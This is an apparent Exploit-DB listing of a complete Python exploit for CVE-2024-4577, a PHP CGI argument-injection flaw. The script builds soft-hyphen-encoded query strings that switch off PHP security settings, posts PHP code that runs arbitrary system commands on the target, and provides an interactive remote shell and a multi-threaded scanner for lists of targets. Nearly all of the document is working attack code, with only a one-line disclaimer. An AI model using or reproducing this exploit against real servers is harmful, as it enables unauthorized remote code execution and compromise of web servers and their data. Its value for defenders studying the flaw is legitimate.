PHP CGI Module 8.3.4 - Remote Code Execution (RCE)

EDB-ID:

52331




Platform:

PHP

Date:

2025-06-15


#!/usr/bin/env python3

# Exploit Title: PHP CGI Module 8.3.4 - Remote Code Execution (RCE)
# Date: 2025-06-13
# Exploit Author: @ibrahimsql
# Exploit Author's github: https://github.com/yigitsql ( old account banned )
# Vendor Homepage: https://www.php.net/
# Software Link: https://www.php.net/downloads
# Version: PHP < 8.3.4, PHP < 8.2.17, PHP < 8.1.27
# Tested on: Kali Linux 2024.1
# CVE: CVE-2024-4577
# Description:
# A critical vulnerability in PHP's CGI implementation allows remote attackers to execute 
# arbitrary code through command injection. The vulnerability exists due to improper handling 
# of command-line arguments in PHP CGI, which can be exploited to bypass security restrictions 
# and execute arbitrary commands with the privileges of the web server. This vulnerability 
# affects all PHP versions before 8.3.4, 8.2.17, and 8.1.27.
#
# Impact:
# - Remote Code Execution (RCE)
# - Information Disclosure
# - Server Compromise
#
# References:
# - https://nvd.nist.gov/vuln/detail/cve-2024-4577
# - https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure
# - https://www.tarlogic.com/blog/cve-2024-4577-critical-vulnerability-php/
# - https://learn.microsoft.com/en-us/answers/questions/1725847/php-8-3-vulnerability-cve-2024-4577
# - https://www.stormshield.com/news/security-alert-php-cve-2024-4577-stormshields-product-response/
#
# Requirements: urllib3>=1.26.0, rich, requests>=2.25.0, alive_progress, concurrent.futures

import re
import sys
import base64
import requests
import argparse
from rich.console import Console
from urllib3 import disable_warnings
from urllib3.exceptions import InsecureRequestWarning
from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor, as_completed

disable_warnings(InsecureRequestWarning)

console = Console()

class PHPCGIExploit:
    """CVE-2024-4577 PHP CGI Argument Injection RCE Exploit"""
    
    def __init__(self):
        self.headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        
        # Optimized settings for PHP CGI argument injection
        self.php_settings = [
            "-d cgi.force_redirect=0",
            "-d cgi.redirect_status_env=0",
            "-d fastcgi.impersonate=1",
            "-d open_basedir=",
            "-d disable_functions=",
            "-d auto_prepend_file=php://input",
            "-d allow_url_include=1",
            "-d allow_url_fopen=1"
        ]
        
        # Soft hyphen character for Windows systems
        self.soft_hyphen = "%AD"  # 0xAD character
        
        # Different PHP CGI paths to try
        self.cgi_paths = [
            "/php-cgi/php-cgi.exe",
            "/php/php-cgi.exe",
            "/cgi-bin/php-cgi.exe",
            "/php-cgi.exe",
            "/php.exe",
            "/php/php.exe"
        ]
        
    def ascii_art(self):
        print("")
        console.print("[bold red]    ____  _   _ ____       ____  ____ ___[/bold red]")
        console.print("[bold red]   |  _ \| | | |  _ \     / ___|/ ___|_ _|[/bold red]")
        console.print("[bold red]   | |_) | |_| | |_) |   | |   | |  _ | |[/bold red]") 
        console.print("[bold red]   |  __/|  _  |  __/    | |___| |_| || |[/bold red]")
        console.print("[bold red]   |_|   |_| |_|_|        \____|\____|___|[/bold red]")
        console.print("[bold yellow]          CVE-2024-4577 Exploit[/bold yellow]")
        console.print("[dim white]        PHP CGI Argument Injection[/dim white]")
        console.print("[dim cyan]           Developer: @ibrahimsql[/dim cyan]")
        print("")
        
    def build_payload_url(self, cgi_path):
        # Argument injection with soft hyphen
        settings_str = " ".join(self.php_settings).replace("-", self.soft_hyphen)
        settings_str = settings_str.replace("=", "%3D").replace(" ", "+")
        return f"{cgi_path}?{settings_str}"
        
    def execute_command(self, target, command="whoami", cgi_path=None):
        """Execute command on target using PHP CGI argument injection"""
        try:
            # Create PHP code
            php_code = f"""<?php
error_reporting(0);
echo '[START]';
system('{command}');
echo '[END]';
die();
?>"""
            
            # If no CGI path specified, try all paths
            if cgi_path:
                paths_to_try = [cgi_path]
            else:
                paths_to_try = self.cgi_paths
                
            for path in paths_to_try:
                try:
                    payload_url = self.build_payload_url(path)
                    full_url = f"{target.rstrip('/')}{payload_url}"
                    
                    response = requests.post(
                        full_url,
                        headers=self.headers,
                        data=php_code,
                        timeout=10,
                        verify=False,
                        allow_redirects=False
                    )
                    
                    # Check output
                    if response.status_code == 200:
                        output_match = re.search(r'\[START\](.*?)\[END\]', response.text, re.DOTALL)
                        if output_match:
                            return output_match.group(1).strip(), path
                            
                except requests.exceptions.RequestException:
                    continue
                    
            return None, None
            
        except Exception as e:
            console.print(f"[red][-][/red] Error: {str(e)}")
            return None, None
            
    def check_vulnerability(self, target):
        """Check if target is vulnerable"""
        console.print(f"[blue][*][/blue] Testing target: {target}")
        
        # Test with a simple command
        result, cgi_path = self.execute_command(target, "echo CVE-2024-4577-TEST")
        
        if result and "CVE-2024-4577-TEST" in result:
            console.print(f"[green][+][/green] Target is vulnerable! CGI Path: {cgi_path}")
            
            # Get system information
            sys_info, _ = self.execute_command(target, "systeminfo", cgi_path)
            if sys_info:
                console.print("[green][+][/green] System Information:")
                console.print(f"[dim]{sys_info[:500]}...[/dim]")  # First 500 characters
                
            return True, cgi_path
        else:
            console.print(f"[red][-][/red] Target is not vulnerable")
            return False, None
            
    def interactive_shell(self, target, cgi_path):
        """Interactive shell session - Simple version"""
        console.print("[green][+][/green] Interactive shell opened")
        console.print("[yellow][!][/yellow] Type 'exit' to quit, 'clear' to clear screen")
        
        while True:
            try:
                # Simple input prompt
                cmd = input("shell> ")
                
                if cmd.lower() == "exit":
                    break
                elif cmd.lower() == "clear":
                    print("\033[2J\033[H", end="")
                    continue
                elif cmd.strip() == "":
                    continue
                    
                # Execute command
                result, _ = self.execute_command(target, cmd, cgi_path)
                
                if result:
                    print(result)
                else:
                    console.print("[red][-][/red] Command execution failed")
                    
            except KeyboardInterrupt:
                console.print("\n[yellow][!][/yellow] Use 'exit' to quit")
            except Exception as e:
                console.print(f"[red][-][/red] Error: {str(e)}")
                
    def exploit_target(self, target, output_file=None):
        """Exploit single target"""
        is_vulnerable, cgi_path = self.check_vulnerability(target)
        
        if is_vulnerable:
            # Save results
            if output_file:
                with open(output_file, "a") as f:
                    f.write(f"[+] Vulnerable: {target} | CGI Path: {cgi_path}\n")
                    
            # Start interactive shell
            console.print("[blue][*][/blue] Starting interactive shell...")
            self.interactive_shell(target, cgi_path)
        else:
            if output_file:
                with open(output_file, "a") as f:
                    f.write(f"[-] Not vulnerable: {target}\n")
                    
    def scan_multiple_targets(self, targets_file, threads=5, output_file=None):
        """Scan multiple targets"""
        try:
            with open(targets_file, "r") as f:
                targets = [line.strip() for line in f if line.strip()]
                
            if not targets:
                console.print("[red][-][/red] No targets found in file")
                return
                
            console.print(f"[blue][*][/blue] Scanning {len(targets)} targets with {threads} threads")
            
            vulnerable_targets = []
            
            def scan_target(target):
                try:
                    is_vulnerable, cgi_path = self.check_vulnerability(target)
                    if is_vulnerable:
                        vulnerable_targets.append((target, cgi_path))
                        if output_file:
                            with open(output_file, "a") as f:
                                f.write(f"[+] Vulnerable: {target} | CGI Path: {cgi_path}\n")
                except Exception as e:
                    console.print(f"[red][-][/red] Error scanning {target}: {str(e)}")
                    
            with alive_bar(len(targets), title="Scanning", bar="smooth") as bar:
                with ThreadPoolExecutor(max_workers=threads) as executor:
                    futures = [executor.submit(scan_target, target) for target in targets]
                    for future in as_completed(futures):
                        future.result()
                        bar()
                        
            # Summary
            print("")
            console.print(f"[green][+][/green] Found {len(vulnerable_targets)} vulnerable targets")
            
            if vulnerable_targets:
                console.print("\n[bold]Vulnerable Targets:[/bold]")
                for target, cgi_path in vulnerable_targets:
                    console.print(f"  [green]•[/green] {target} (CGI: {cgi_path})")
                    
        except FileNotFoundError:
            console.print(f"[red][-][/red] File not found: {targets_file}")
        except Exception as e:
            console.print(f"[red][-][/red] Error: {str(e)}")

def main():
    """Main function"""
    exploit = PHPCGIExploit()
    exploit.ascii_art()
    
    parser = argparse.ArgumentParser(
        description="CVE-2024-4577 - PHP CGI Argument Injection RCE Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 exploit.py -u http://target.com
  python3 exploit.py -f targets.txt -t 10 -o results.txt
  
Note: This tool is for educational and authorized testing purposes only.
        """
    )
    
    parser.add_argument("-u", "--url", help="Single target URL")
    parser.add_argument("-f", "--file", help="File containing target URLs")
    parser.add_argument("-o", "--output", help="Output file for results")
    parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads (default: 5)")
    
    args = parser.parse_args()
    
    if args.url:
        exploit.exploit_target(args.url, args.output)
    elif args.file:
        exploit.scan_multiple_targets(args.file, args.threads, args.output)
    else:
        parser.print_help()
        sys.exit(1)

if __name__ == "__main__":
    main()